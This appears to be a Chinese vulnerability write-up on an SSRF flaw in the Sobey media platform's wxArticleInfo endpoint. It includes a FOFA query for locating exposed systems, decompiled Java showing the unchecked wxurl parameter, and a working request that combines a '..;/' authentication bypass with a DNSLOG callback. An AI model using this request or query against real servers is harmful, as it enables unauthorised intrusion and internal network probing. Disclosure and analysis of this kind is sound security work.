索贝融媒体 /sobey-mchEditor/mch/WXArticleInt/wxArticleInfo SSRF漏洞


漏洞简介

索贝融媒体是一套面向新闻传媒行业的内容生产与发布平台,主要用于稿件采编、融媒协同管理以及多渠道分发。该系统的 /sobey-mchEditor/mch/WXArticleInt/wxArticleInfo 接口在处理外部请求参数时缺乏严格的地址校验与访问控制,导致存在服务器端请求伪造(SSRF)漏洞。攻击者可通过该漏洞诱导服务器发起任意 HTTP/HTTPS 请求,从而探测内网服务结构、访问受限接口,甚至在特定条件下实现对内网应用的数据窃取或进一步利用。

影响版本

fofa语法

icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"

漏洞分析

根据漏洞信息看下mch/WXArticleInt/wxArticleInfo的实现逻辑

直接进入看它的实现逻辑如下

@RequestMapping(
    value = {"/wxArticleInfo"},
    method = {RequestMethod.GET}
)
public Response wxArticleInfo(@RequestParam("token") String token, @RequestParam("siteCode") String siteCode, @RequestParam("wxurl") String wxurl) {
    Response response;
    try {
        Map<String, String> wxDoc = parseWXDoc(wxurl);
        if (wxDoc != null) {
            response = Response.success(wxDoc);
        } else {
            response = Response.failed("解析公众号文章失败");
        }
    } catch (Exception e) {
        e.printStackTrace();
        response = Response.failed("解析公众号文章失败");
    }

    return response;
}

参数wxurl被带入parseWXDoc方法,跟进查看其实现逻辑

private static Map<String, String> parseWXDoc(String requestUrl) {
    try {
        logger.info("开始请求微信公众号文章的url:" + requestUrl);
        String proxyIpPort = SystemConfigUtil.getSolarSystemByCache("proxyIpPort", "");
        String proxyType = SystemConfigUtil.getSolarSystemByCache("proxyType", "HTTP");
        String reverseProxyPrefix = SystemConfigUtil.getReverseProxyPrefix();
        Proxy proxy = null;
        if (StringUtils.isNotEmpty(proxyIpPort)) {
            String[] split = proxyIpPort.split(":");
            if ("SOCKS".equalsIgnoreCase(proxyType)) {
                proxy = new Proxy(Type.SOCKS, new InetSocketAddress(split[0], Integer.valueOf(split[1])));
            } else {
                proxy = new Proxy(Type.HTTP, new InetSocketAddress(split[0], Integer.valueOf(split[1])));
            }
        } else if (!StringUtils.isEmpty(reverseProxyPrefix)) {
            requestUrl = StringUtil.dealReverseProxyUrl(requestUrl, reverseProxyPrefix);
        }

        Connection connect = Jsoup.connect(requestUrl);
        if (proxy != null) {
            connect.proxy(proxy);
        }

requestUrl被直接使用Jsoup.connect进行访问,整个过程中对wxurl无任何过滤或校验,因此造成SSRF漏洞。

漏洞复现

权限绕过相关分析可以参考之前的 索贝融媒体 getList SQL注入漏洞 的权限校验部分

GET /sobey-mchEditor/js/..;/mch/WXArticleInt/wxArticleInfo?siteCode=&token=&wxurl=http://xxe.dnslog.pt/xxe_test HTTP/1.1
Host: sobey.mrxn.net

成功在DNSLOG平台收到DNS和HTTP请求


手机扫码阅读

索贝融媒体 /sobey-mchEditor/mch/relacontentids/list SQL注入漏洞

索贝融媒体 /sobey-mchEditor/mch/WXArticleInt/logicdelete SQL注入漏洞

评 论